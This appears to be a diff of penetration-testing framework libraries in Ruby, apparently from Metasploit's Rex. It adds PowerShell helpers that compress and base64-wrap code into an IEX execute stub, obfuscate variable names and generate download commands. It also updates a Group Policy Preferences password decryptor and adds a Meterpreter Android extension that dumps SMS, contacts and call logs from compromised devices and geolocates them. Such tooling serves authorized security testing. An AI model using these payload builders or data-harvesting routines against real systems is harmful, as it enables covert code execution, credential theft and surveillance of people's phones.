code.gsub!(var, @rig.init_var(var))
end
code
end
#
# Perform standard substitutions
#
# @return [String] code with standard substitution methods applied
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
# Save us the trouble of breaking injected .NET and such
subs.delete('strip_whitespace') unless get_string_literals.empty?
# Run selected modifiers
subs.each do |modifier|
send(modifier)
end
code.gsub!(EMPTY_LINE_REGEX, '')
code
end
end # Obfu
end
end
end

View File

@ -0,0 +1,151 @@
# -*- coding: binary -*-
require 'zlib'
require 'rex/text'
module Rex
module Exploitation
module Powershell
module Output
#
# To String
#
# @return [String] Code
def to_s
code
end
#
# Returns code size
#
# @return [Integer] Code size
def size
code.size
end
#
# Return code with numbered lines
#
# @return [String] Powershell code with line numbers
def to_s_lineno
numbered = ''
code.split(/\r\n|\n/).each_with_index do |line, idx|
numbered << "#{idx}: #{line}"
end
numbered
end
#
# Return a zlib compressed powershell code wrapped in decode stub
#
# @param eof [String] End of file identifier to append to code
#
# @return [String] Zlib compressed powershell code wrapped in
# decompression stub
def deflate_code(eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(code,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << '$s.ReadByte();'
psh_expression << '$s.ReadByte();'
# Uncompress and invoke the expression (execute)
psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << 'New-Object IO.Compression.DeflateStream('
psh_expression << '$s,'
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof
@code = psh_expression
end
#
# Return Base64 encoded powershell code
#
# @return [String] Base64 encoded powershell code
def encode_code
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
end
#
# Return a gzip compressed powershell code wrapped in decoder stub
#
# @param eof [String] End of file identifier to append to code
#
# @return [String] Gzip compressed powershell code wrapped in
# decompression stub
def gzip_code(eof = nil)
# Compress using the Deflate algorithm
compressed_stream = Rex::Text.gzip(code)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Uncompress and invoke the expression (execute)
psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << 'New-Object IO.Compression.GzipStream('
psh_expression << '$s,'
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof
@code = psh_expression
end
#
# Compresses script contents with gzip (default) or deflate
#
# @param eof [String] End of file identifier to append to code
# @param gzip [Boolean] Whether to use gzip compression or deflate
#
# @return [String] Compressed code wrapped in decompression stub
def compress_code(eof = nil, gzip = true)
@code = gzip ? gzip_code(eof) : deflate_code(eof)
end
#
# Reverse the compression process
# Try gzip, inflate if that fails
#
# @return [String] Decompressed powershell code
def decompress_code
# Extract substring with payload
encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
# Decode and decompress the string
unencoded = Rex::Text.decode_base64(encoded_stream)
begin
@code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded)
rescue Zlib::GzipFile::Error
begin
@code = Rex::Text.zlib_inflate(unencoded)
rescue Zlib::DataError => e
raise RuntimeError, 'Invalid compression'
end
end
@code
end
end
end
end
end

View File

@ -0,0 +1,23 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
class Param
attr_accessor :klass, :name
def initialize(klass, name)
@klass = klass.strip
@name = name.strip.gsub(/\s|,/, '')
end
#
# To String
#
# @return [String] Powershell param
def to_s
"[#{klass}]$#{name}"
end
end
end
end
end

View File

@ -0,0 +1,183 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
end
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str, source = code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end
end.map { |m| [m.to_s, m.offset(0)[0]] }
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
fail ArgumentError, 'Unknown starting bracket'
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
fail ArgumentError unless idx
if idx < 0 || idx >= code.length
fail ArgumentError, 'Invalid index'
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
delims.map { |x| x[1] = x[1] + idx + 1 }
c = 1
sidx = nil
# Go through delims till we balance, get idx
while (c != 0) && (x = delims.shift)
sidx = x[1]
x[0] == stop ? c -= 1 : c += 1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx + func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name, func_txt)
end
end # Parser
end
end
end

View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
##
# Convenience methods for generating powershell code in Ruby
##
module PshMethods
#
# Download file via .NET WebClient
#
# @param src [String] URL to the file
# @param target [String] Location to save the file
#
# @return [String] Powershell code to download a file
def self.download(src, target)
target ||= '$pwd\\' << src.split('/').last
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
end
#
# Uninstall app, or anything named like app
#
# @param app [String] Name of application
# @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
# the application name
#
# @return [String] Powershell code to uninstall an application
def self.uninstall(app, fuzzy = true)
match = fuzzy ? '-like' : '-eq'
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end
#
# Create secure string from plaintext
#
# @param str [String] String to create as a SecureString
#
# @return [String] Powershell code to create a SecureString
def self.secure_string(str)
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
end
#
# Find PID of file lock owner
#
# @param filename [String] Filename
#
# @return [String] Powershell code to identify the PID of a file
# lock owner
def self.who_locked_file(filename)
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end
#
# Return last time of login
#
# @param user [String] Username
#
# @return [String] Powershell code to return the last time of a user
# login
def self.get_last_login(user)
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
end
end
end
end

View File

@ -0,0 +1,99 @@
# -*- coding: binary -*-
require 'rex'
require 'forwardable'
module Rex
module Exploitation
module Powershell
class Script
attr_accessor :code
attr_reader :functions, :rig
include Output
include Parser
include Obfu
# Pretend we are actually a string
extend ::Forwardable
# In case someone messes with String we delegate based on its instance methods
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
:delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
:hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
:end_with?
def initialize(code)
@code = ''
@rig = Rex::RandomIdentifierGenerator.new
begin
# Open code file for reading
fd = ::File.new(code, 'rb')
while (line = fd.gets)
@code << line
end
# Close open file
fd.close
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat code as a... code
@code = code.to_s.dup # in case we're eating another script
end
@functions = get_func_names.map { |f| get_func(f) }
end
##
# Class methods
##
#
# Convert binary to byte array, read from file if able
#
# @param input_data [String] Path to powershell file or powershell
# code string
# @param var_name [String] Byte array variable name
#
# @return [String] input_data as a powershell byte array
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
# File will raise an exception if the path contains null byte
if input_data.include? "\x00"
code = input_data
else
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
end
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length - 1) do |byte|
if (byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join('') + "\r\n"
end
#
# Return list of code modifier methods
#
# @return [Array] Code modifiers
def self.code_modifiers
instance_methods.select { |m| m =~ /^(strip|sub)/ }
end
end # class Script
end
end
end

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'rex/text'
require 'rexml/document'

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Rex
module Oui

View File

@ -129,14 +129,40 @@ class GPP
# Decrypts passwords using Microsoft's published key:
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
def self.decrypt(encrypted_data)
unless encrypted_data
return ""
end
password = ""
return password unless encrypted_data
password = ""
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
retries = 0
original_data = encrypted_data.dup
begin
mod = encrypted_data.length % 4
# PowerSploit code strips the last character, unsure why...
case mod
when 1
encrypted_data = encrypted_data[0..-2]
when 2, 3
padding = '=' * (4 - mod)
encrypted_data = "#{encrypted_data}#{padding}"
end
# Strict base64 decoding used here
decoded = encrypted_data.unpack('m0').first
rescue ::ArgumentError => e
# Appears to be some junk UTF-8 Padding appended at times in
# Win2k8 (not in Win2k8R2)
# Lets try stripping junk and see if we can decrypt
if retries < 8
retries += 1
original_data = original_data[0..-2]
encrypted_data = original_data
retry
else
return password
end
end
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require "rex/parser/nokogiri_doc_mixin"
module Rex

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Rex

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Rex

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Rex

View File

@ -0,0 +1,128 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/android/tlv'
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/client'
require 'rex/post/meterpreter/channels/pools/stream_pool'
module Rex
module Post
module Meterpreter
module Extensions
module Android
###
# Android extension - set of commands to be executed on android devices.
# extension by Anwar Mohamed (@anwarelmakrahy)
###
class Android < Extension
def initialize(client)
super(client, 'android')
# Alias the following things on the client object so that they
# can be directly referenced
client.register_extension_aliases(
[
{
'name' => 'android',
'ext' => self
},
])
end
def device_shutdown(n)
request = Packet.create_request('device_shutdown')
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
response = client.send_request(request)
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end
def dump_sms
sms = Array.new
request = Packet.create_request('dump_sms')
response = client.send_request(request)
response.each( TLV_TYPE_SMS_GROUP ) { |p|
sms <<
{
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
}
}
return sms
end
def dump_contacts
contacts = Array.new
request = Packet.create_request('dump_contacts')
response = client.send_request(request)
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
contacts <<
{
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
}
}
return contacts
end
def geolocate
loc = Array.new
request = Packet.create_request('geolocate')
response = client.send_request(request)
loc <<
{
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
}
return loc
end
def dump_calllog
log = Array.new
request = Packet.create_request('dump_calllog')
response = client.send_request(request)
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
log <<
{
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
}
}
return log
end
def check_root
request = Packet.create_request('check_root')
response = client.send_request(request)
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end
end
end
end
end
end
end

Some files were not shown because too many files have changed in this diff Show More